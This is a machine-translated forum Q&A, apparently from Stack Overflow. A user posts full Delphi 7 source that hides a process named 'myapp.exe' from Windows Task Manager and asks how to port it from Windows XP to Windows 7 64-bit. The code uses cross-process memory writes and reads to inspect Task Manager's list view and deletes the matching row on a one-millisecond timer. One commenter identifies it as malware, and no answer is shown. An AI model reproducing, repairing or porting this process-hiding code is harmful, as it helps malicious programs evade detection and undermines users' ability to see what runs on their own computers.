我一直在Windows XP 32bit上使用此代碼用於我的應用程序。它工作得很好,但現在我遷移到Windows 7 64位,並停止工作。我如何在Windows 7上完成這項工作?我正在使用Delphi 7.任務管理器在Windows 7上隱藏處理器問題
program Project1;
{$APPTYPE CONSOLE}
uses
Windows, CommCtrl, dialogs , sysutils, classes;
var
myTimerHandle:WORD;
msg:TMSG;
Function Magchar(const S:string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then
Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L);
end;
end;
Function CacheCache(_Processus:string):string;
var
dwSize, dwNumberOfBytes, PID, hProcess:Cardinal;
PLocalShared, PSysShared:PlvItem;
wnd: THandle;
iCount, i: integer;
szTemp:string;
begin
wnd := FindWindow('#32770',nil);
wnd := FindWindowEx(wnd, 0, '#32770', nil);
wnd := FindWindowEx(wnd, 0, 'SysListView32',nil);
iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
for
i := 0 to iCount -1 do
begin
dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
pLocalShared := VirtualAlloc(nil, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
GetWindowThreadProcessID(WND, @PID);
hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
pSysShared := VirtualAllocEx(hProcess, nil, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
pLocalShared.mask := LVIF_TEXT;
pLocalShared.iItem := 0;
pLocalShared.iSubItem := 0;
pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
pLocalShared.cchTextMax := 100;
WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
if Pos(_Processus, MagChar(szTemp)) > 0 then
ListView_DeleteItem(wnd, i);
VirtualFree(pLocalShared, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
CloseHandle(hProcess);
end;
end;
procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
begin
CacheCache('myapp.exe');
end;
procedure StartTimer(Interval:Dword);
begin
MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
end;
begin
StartTimer(1);
while (GetMessage(Msg,0,0,0)) Do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
這是什麼代碼應該做的?我們所知道的是,它不起作用,並且它曾經在Windows XP 32bit上工作。請編輯答案,告訴我們代碼應該做什麼,並請正確格式化。 –
當你說它不起作用你是什麼意思?你有錯誤嗎? – bryanmac
@Cosmin它是用來隱藏Windows任務管理器中的應用程序的惡意軟件。 –